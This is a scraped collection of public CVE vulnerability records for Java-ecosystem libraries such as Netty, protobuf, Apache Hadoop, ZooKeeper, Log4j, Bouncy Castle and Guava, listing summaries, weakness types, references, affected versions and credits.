- CWE-696 - Incorrect Behavior Order
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://bugs.chromium.org/p/oss-fuzz/issues/detai… | |
| https://cloud.google.com/support/bulletins#gcp-2022-001 | |
| http://www.openwall.com/lists/oss-security/2022/01/12/4 | mailing-list |
| http://www.openwall.com/lists/oss-security/2022/01/12/7 | mailing-list |
| https://www.oracle.com/security-alerts/cpuapr2022.html | |
| https://lists.debian.org/debian-lts-announce/2023… | mailing-list |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Google LLC | protobuf-java |
Affected:
unspecified , < 3.16.1
(custom)
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|
| Google LLC | protobuf-kotlin |
Affected:
unspecified , < 3.18.2
(custom)
Affected: unspecified , < 3.19.2 (custom) |
|
| Google LLC | google-protobuf [JRuby Gem] |
Affected:
unspecified , < 3.19.2
(custom)
|
Credits
OSS-Fuzz - https://github.com/google/oss-fuzz
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CVE-2025-58056 (GCVE-0-2025-58056)
Vulnerability from cvelistv5 – Published: 2025-09-03 20:56 – Updated: 2025-09-05 18:41
VLAI?
EPSS
Title
Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions
Summary
Netty is an asynchronous event-driven network application framework for development of maintainable high performance protocol servers and clients. In versions 4.1.124.Final, and 4.2.0.Alpha3 through 4.2.4.Final, Netty incorrectly accepts standalone newline characters (LF) as a chunk-size line terminator, regardless of a preceding carriage return (CR), instead of requiring CRLF per HTTP/1.1 standards. When combined with reverse proxies that parse LF differently (treating it as part of the chunk extension), attackers can craft requests that the proxy sees as one request but Netty processes as two, enabling request smuggling attacks. This is fixed in versions 4.1.125.Final and 4.2.5.Final.
Severity ?
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/JLLeitschuh/unCVEed/issues/1 | x_refsource_MISC |
| https://github.com/netty/netty/issues/15522 | x_refsource_MISC |
| https://github.com/netty/netty/pull/15611 | x_refsource_MISC |
| https://github.com/netty/netty/commit/edb55fd8e0a… | x_refsource_MISC |
| https://datatracker.ietf.org/doc/html/rfc9112#nam… | x_refsource_MISC |
| https://w4ke.info/2025/06/18/funky-chunks.html | x_refsource_MISC |
Impacted products
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CVE-2026-33870 (GCVE-0-2026-33870)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:54 – Updated: 2026-03-31 13:55
VLAI?
EPSS
Title
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Severity ?
7.5 (High)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://w4ke.info/2025/06/18/funky-chunks.html | x_refsource_MISC |
| https://w4ke.info/2025/10/29/funky-chunks-2.html | x_refsource_MISC |
| https://www.rfc-editor.org/rfc/rfc9110 | x_refsource_MISC |
Impacted products
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CVE-2024-23454 (GCVE-0-2024-23454)
Vulnerability from cvelistv5 – Published: 2024-09-25 07:45 – Updated: 2025-09-05 09:09
VLAI?
EPSS
Title
Apache Hadoop: Temporary File Local Information Disclosure
Summary
Apache Hadoop’s RunJar.run() does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content.
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shared between all local users. As such, files written in this directory,
without setting the correct posix permissions explicitly, may be viewable
by all other local users.
Severity ?
No CVSS data available.
CWE
- CWE-378 - Creation of Temporary File With Insecure Permissions
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://issues.apache.org/jira/browse/HADOOP-19031 | issue-tracking |
| https://lists.apache.org/thread/xlo7q8kn4tsjvx059… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Hadoop |
Affected:
0 , < 3.4.0
(semver)
|
Credits
Andrea Cosentino
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CVE-2026-5588 (GCVE-0-2026-5588)
Vulnerability from cvelistv5 – Published: 2026-04-15 09:06 – Updated: 2026-05-18 23:22
VLAI?
EPSS
Title
PKIX draft CompositeVerifier accepts empty signature sequence as valid.
Summary
Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules).
This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java.
This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11.
Severity ?
CWE
- CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/bcgit/bc-java/wiki/CVE%E2%80%9… | vendor-advisory |
| https://github.com/bcgit/bc-java/commit/656bae0db… | patch |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Legion of the Bouncy Castle Inc. | BC-JAVA |
Affected:
1.67 , < 1.80.2
(maven)
Affected: 1.81 , < 1.81.1 (maven) Affected: 1.82 , < 1.84 (maven) |
|
| Legion of the Bouncy Castle Inc. | BCPKIX-FIPS |
Affected:
2.0.6 , < 2.0.11
(maven)
Affected: 2.1.7 , < 2.1.11 (maven) |
|
| Legion of the Bouncy Castle Inc. | BCPIX-LTS |
Affected:
2.73.7 , < 2.73.11
(maven)
|
Credits
Nicholas Carlini using Claude, Anthropic
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CVE-2022-3510 (GCVE-0-2022-3510)
Vulnerability from cvelistv5 – Published: 2022-11-11 16:35 – Updated: 2025-04-22 15:09
VLAI?
EPSS
Title
Parsing issue in protobuf message-type extension
Summary
A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.
Severity ?
7.5 (High)
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/protocolbuffers/protobuf/commi… | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ProtocolBuffers |
Affected:
3.21.0 , < 3.21.7
(semver)
Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver) |
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CVE-2025-48734 (GCVE-0-2025-48734)
Vulnerability from cvelistv5 – Published: 2025-05-28 13:32 – Updated: 2026-04-29 03:55
VLAI?
EPSS
Title
Apache Commons BeanUtils: PropertyUtilsBean does not suppresses an enum's declaredClass property by default
Summary
Improper Access Control vulnerability in Apache Commons.
A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.
Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty().
Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests.
This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils
1.x are recommended to upgrade to version 1.11.0, which fixes the issue.
Users of the artifact org.apache.commons:commons-beanutils2
2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.
Severity ?
No CVSS data available.
CWE
- CWE-284 - Improper Access Control
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/s0hb3jkfj5f3ryx6c… | vendor-advisory |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Commons BeanUtils 1.x |
Affected:
1.0 , < 1.11.0
(maven)
|
|
| Apache Software Foundation | Apache Commons BeanUtils 2.x |
Affected:
2.0.0-M1 , < 2.0.0-M2
(maven)
|
Credits
Raj (mailto:denesh.raj@zohocorp.com)
Muthukumar Marikani (mailto:muthukumar.marikani@zohocorp.com)
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CVE-2021-22570 (GCVE-0-2021-22570)
Vulnerability from cvelistv5 – Published: 2022-01-26 00:00 – Updated: 2025-04-21 13:56
VLAI?
EPSS
Title
Nullptr Dereference in Protobuf
Summary
Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater.
Severity ?
6.5 (Medium)
CWE
- CWE-476 - NULL Pointer Dereference
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/protocolbuffers/protobuf/relea… | |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://lists.fedoraproject.org/archives/list/pac… | vendor-advisory |
| https://www.oracle.com/security-alerts/cpuapr2022.html | |
| https://security.netapp.com/advisory/ntap-2022042… | |
| https://lists.debian.org/debian-lts-announce/2023… | mailing-list |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Google LLC | Protobuf |
Affected:
unspecified , < 3.15.0
(custom)
|
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CVE-2025-59419 (GCVE-0-2025-59419)
Vulnerability from cvelistv5 – Published: 2025-10-15 15:42 – Updated: 2025-10-17 19:44
VLAI?
EPSS
Title
Netty netty-codec-smtp SMTP Command Injection Vulnerability Allowing Email Forgery
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.128.Final and 4.2.7.Final, the SMTP codec in Netty contains an SMTP command injection vulnerability due to insufficient input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. The vulnerability exists in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string without sanitization. When methods such as SmtpRequests.rcpt(recipient) are called with a malicious string containing CRLF sequences, attackers can inject arbitrary SMTP commands. Because the injected commands are sent from the server's trusted IP address, resulting emails will likely pass SPF and DKIM authentication checks, making them appear legitimate. This allows remote attackers who can control SMTP command parameters (such as email recipients) to forge arbitrary emails from the trusted server, potentially impersonating executives and forging high-stakes corporate communications. This issue has been patched in versions 4.1.129.Final and 4.2.8.Final. No known workarounds exist.
Severity ?
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/commit/1782e8c2060… | x_refsource_MISC |
Impacted products
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CVE-2025-8916 (GCVE-0-2025-8916)
Vulnerability from cvelistv5 – Published: 2025-08-13 09:31 – Updated: 2026-05-12 12:02
VLAI?
EPSS
Title
Possible DOS in processing large name constraint structures in PKIXCertPathReveiwer
Summary
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java.
This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.
Severity ?
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
1 reference
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Legion of the Bouncy Castle Inc. | BC Java |
Affected:
1.44 , ≤ 1.78
(maven)
|
|
| Legion of the Bouncy Castle Inc. | BC Java |
Affected:
1.44 , ≤ 1.78
(maven)
|
|
| Legion of the Bouncy Castle Inc. | BCPKIX FIPS |
Affected:
1.0.0 , ≤ 1.0.7
(maven)
Affected: 2.0.0 , ≤ 2.0.7 (maven) |
Credits
Bing Shi
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CVE-2025-58057 (GCVE-0-2025-58057)
Vulnerability from cvelistv5 – Published: 2025-09-03 21:46 – Updated: 2025-09-04 19:59
VLAI?
EPSS
Title
Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack
Summary
Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.
Severity ?
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/commit/9d804c54ce9… | x_refsource_MISC |
Impacted products
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CVE-2025-68161 (GCVE-0-2025-68161)
Vulnerability from cvelistv5 – Published: 2025-12-18 20:47 – Updated: 2026-04-10 16:18
VLAI?
EPSS
Title
Apache Log4j Core: Missing TLS hostname verification in Socket appender
Summary
The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName configuration attribute or the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property is set to true.
This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:
* The attacker is able to intercept or redirect network traffic between the client and the log receiver.
* The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured).
Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.
As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.
Severity ?
CWE
- CWE-297 - Improper Validation of Certificate with Host Mismatch
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/apache/logging-log4j2/pull/4002 | patch |
| https://logging.apache.org/security.html#CVE-2025-68161 | vendor-advisory |
| https://logging.apache.org/cyclonedx/vdr.xml | vendor-advisory |
| https://logging.apache.org/log4j/2.x/manual/syste… | related |
| https://logging.apache.org/log4j/2.x/manual/appen… | related |
| https://lists.apache.org/thread/xr33kyxq3sl67lwb6… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Log4j Core |
Affected:
2.0-beta9 , < 2.25.3
(maven)
Affected: 3.0.0-alpha1 , ≤ 3.0.0-beta3 (maven) cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* |
Credits
Samuli Leinonen
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CVE-2025-41249 (GCVE-0-2025-41249)
Vulnerability from cvelistv5 – Published: 2025-09-16 10:15 – Updated: 2025-09-16 19:29
VLAI?
EPSS
Title
CVE-2025-41249: Spring Framework Annotation Detection Vulnerability
Summary
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
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This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Severity ?
7.5 (High)
CWE
- CWE-285 - Improper Authorization
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| VMware | Spring Framework |
Affected:
6.2.x , < 6.2.11
(OSS)
Affected: 6.1.x , < 6.1.23 (commercial) Affected: 5.3.x , < 5.3.45 (COMMERCIAL) |
Date Public ?
2025-09-15 10:00
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CVE-2026-24281 (GCVE-0-2026-24281)
Vulnerability from cvelistv5 – Published: 2026-03-07 08:50 – Updated: 2026-03-10 17:37
VLAI?
EPSS
Title
Apache ZooKeeper: Reverse-DNS fallback enables hostname verification bypass in ZooKeeper ZKTrustManager
Summary
Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.
Severity ?
No CVSS data available.
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/088ddsbrzhd5lxzbq… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache ZooKeeper |
Affected:
3.9.0 , ≤ 3.9.4
(maven)
Affected: 3.8.0 , ≤ 3.8.5 (maven) |
Credits
Nikita Markevich <markevich.nikita1@gmail.com>
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CVE-2024-7254 (GCVE-0-2024-7254)
Vulnerability from cvelistv5 – Published: 2024-09-19 00:18 – Updated: 2025-09-08 09:37
VLAI?
EPSS
Title
Stack overflow in Protocol Buffers Java Lite
Summary
Any project that parses untrusted Protocol Buffers data containing an arbitrary number of nested groups / series of SGROUP tags can corrupted by exceeding the stack limit i.e. StackOverflow. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.
Severity ?
Assigner
References
1 reference
Impacted products
6 products
| Vendor | Product | Version | |
|---|---|---|---|
| Protocol Buffers |
Affected:
0 , < 28.2
(custom)
|
||
| protobuf-java |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-javalite |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-kotlin |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| protobuf-kotllin-lite |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
||
| google-protobuf [JRuby Gem] |
Affected:
0 , < 3.25.5
(custom)
Affected: 0 , < 4.27.5 (custom) Affected: 0 , < 4.28.2 (custom) |
Credits
Alexis Challande, Trail of Bits Ecosystem Security Team <ecosystem@trailofbits.com>
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CVE-2026-24308 (GCVE-0-2026-24308)
Vulnerability from cvelistv5 – Published: 2026-03-07 08:51 – Updated: 2026-03-10 17:36
VLAI?
EPSS
Title
Apache ZooKeeper: Sensitive information disclosure in client configuration handling
Summary
Improper handling of configuration values in ZKConfig in Apache ZooKeeper 3.8.5 and 3.9.4 on all platforms allows an attacker to expose sensitive information stored in client configuration in the client's logfile. Configuration values are exposed at INFO level logging rendering potential production systems affected by the issue. Users are recommended to upgrade to version 3.8.6 or 3.9.5 which fixes this issue.
Severity ?
No CVSS data available.
CWE
- CWE-532 - Insertion of Sensitive Information into Log File
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/qng3rtzv2pqkmko4r… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache ZooKeeper |
Affected:
3.9.0 , ≤ 3.9.4
(maven)
Affected: 3.8.0 , ≤ 3.8.5 (maven) |
Credits
Youlong Chen <chenyoulong20g@ict.ac.cn>
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CVE-2025-55163 (GCVE-0-2025-55163)
Vulnerability from cvelistv5 – Published: 2025-08-13 14:17 – Updated: 2025-11-04 21:13
VLAI?
EPSS
Title
Netty MadeYouReset HTTP/2 DDoS Vulnerability
Summary
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.124.Final and 4.2.4.Final, Netty is vulnerable to MadeYouReset DDoS. This is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. This issue has been patched in versions 4.1.124.Final and 4.2.4.Final.
Severity ?
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
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CVE-2025-27821 (GCVE-0-2025-27821)
Vulnerability from cvelistv5 – Published: 2026-01-26 09:44 – Updated: 2026-01-26 18:13
VLAI?
EPSS
Title
HDFS native client: Out of bounds write in URI parser of native HDFS client
Summary
Out-of-bounds Write vulnerability in Apache Hadoop HDFS native client.
This issue affects Apache Hadoop: from 3.2.0 before 3.4.2.
Users are recommended to upgrade to version 3.4.2, which fixes the issue.
Severity ?
No CVSS data available.
CWE
- CWE-787 - Out-of-bounds Write
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/kwjhyyx0wl2z9b0mw… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | HDFS native client |
Affected:
3.2.0 , < 3.4.2
(semver)
|
Credits
BUI Ngoc Tan
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CVE-2024-47554 (GCVE-0-2024-47554)
Vulnerability from cvelistv5 – Published: 2024-10-03 11:32 – Updated: 2025-01-31 15:02
VLAI?
EPSS
Title
Apache Commons IO: Possible denial of service attack on untrusted input to XmlStreamReader
Summary
Uncontrolled Resource Consumption vulnerability in Apache Commons IO.
The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input.
This issue affects Apache Commons IO: from 2.0 before 2.14.0.
Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.
Severity ?
No CVSS data available.
CWE
- CWE-400 - Uncontrolled Resource Consumption
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://lists.apache.org/thread/6ozr91rr9cj5lm0zy… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Apache Software Foundation | Apache Commons IO |
Affected:
2.0 , < 2.14.0
(semver)
|
Credits
CodeQL
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CVE-2018-10237 (GCVE-0-2018-10237)
Vulnerability from cvelistv5 – Published: 2018-04-26 21:00 – Updated: 2024-08-05 07:32
VLAI?
EPSS
Summary
Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.
Severity ?
No CVSS data available.
CWE
- n/a
Assigner
References
53 references
| URL | Tags |
|---|---|
| https://access.redhat.com/errata/RHSA-2018:2428 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2740 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2741 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2742 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2598 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2643 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2424 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2423 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2425 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2018:2927 | vendor-advisoryx_refsource_REDHAT |
| http://www.securitytracker.com/id/1041707 | vdb-entryx_refsource_SECTRACK |
| https://access.redhat.com/errata/RHSA-2018:2743 | vendor-advisoryx_refsource_REDHAT |
| https://lists.apache.org/thread.html/cc48fe770c45… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/19fa48533bc7… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/ff8dcfe29377… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/3ddd79c801ed… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/3d5dbdd92ac9… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/33c6bccfeb7a… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/053d9ce4d579… | mailing-listx_refsource_MLIST |
| https://access.redhat.com/errata/RHSA-2019:2858 | vendor-advisoryx_refsource_REDHAT |
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| https://access.redhat.com/errata/RHSA-2019:3149 | vendor-advisoryx_refsource_REDHAT |
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| https://lists.apache.org/thread.html/f9bc3e55f4e2… | mailing-listx_refsource_MLIST |
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| https://lists.apache.org/thread.html/rd0c8ec6e044… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r38e2ab87528… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r2ea4e5e5aa8… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r43491b25b2e… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpuapr2020.html | x_refsource_MISC |
| https://lists.apache.org/thread.html/rc8467f357b9… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpujul2020.html | x_refsource_MISC |
| https://groups.google.com/d/topic/guava-announce/… | x_refsource_CONFIRM |
| https://lists.apache.org/thread.html/r02e39d7beb3… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r02e39d7beb3… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r50fc0bcc734… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rdc56c15693c… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/ra8906723927… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/ra4f44016926… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/rb3da574c34b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r223bc776a07… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpujan2021.html | x_refsource_MISC |
| https://lists.apache.org/thread.html/r841c5e14e1b… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r22c8173b804… | mailing-listx_refsource_MLIST |
| https://lists.apache.org/thread.html/r352e40ca987… | mailing-listx_refsource_MLIST |
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| https://lists.apache.org/thread.html/rd01f5ff0164… | mailing-listx_refsource_MLIST |
| https://www.oracle.com/security-alerts/cpuoct2021.html | x_refsource_MISC |
| https://security.netapp.com/advisory/ntap-2022062… | x_refsource_CONFIRM |
Date Public ?
2018-04-26 00:00
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"name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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"name": "[activemq-issues] 20190820 [jira] [Created] (AMQ-7279) Security Vulnerabilities in Libraries - jackson-databind-2.9.8.jar, tomcat-servlet-api-8.0.53.jar, tomcat-websocket-api-8.0.53.jar, zookeeper-3.4.6.jar, guava-18.0.jar, jetty-all-9.2.26.v20180806.jar, scala-library-2.11.0.jar",
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{
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{
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"name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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"name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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"url": "https://lists.apache.org/thread.html/3ddd79c801edd99c0978e83dbe2168ebd36fd42acfa5dac38fb03dd6@%3Cissues.activemq.apache.org%3E"
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"name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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"name": "[cassandra-commits] 20190612 [jira] [Assigned] (CASSANDRA-14760) CVE-2018-10237 Security vulnerability in 3.11.3",
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"name": "[activemq-issues] 20190820 [jira] [Created] (AMQ-7279) Security Vulnerabilities in Libraries - jackson-databind-2.9.8.jar, tomcat-servlet-api-8.0.53.jar, tomcat-websocket-api-8.0.53.jar, zookeeper-3.4.6.jar, guava-18.0.jar, jetty-all-9.2.26.v20180806.jar, scala-library-2.11.0.jar",
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"name": "[drill-dev] 20191021 [jira] [Created] (DRILL-7416) Updates required to dependencies to resolve potential security vulnerabilities",
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{
"name": "[flink-dev] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
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"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
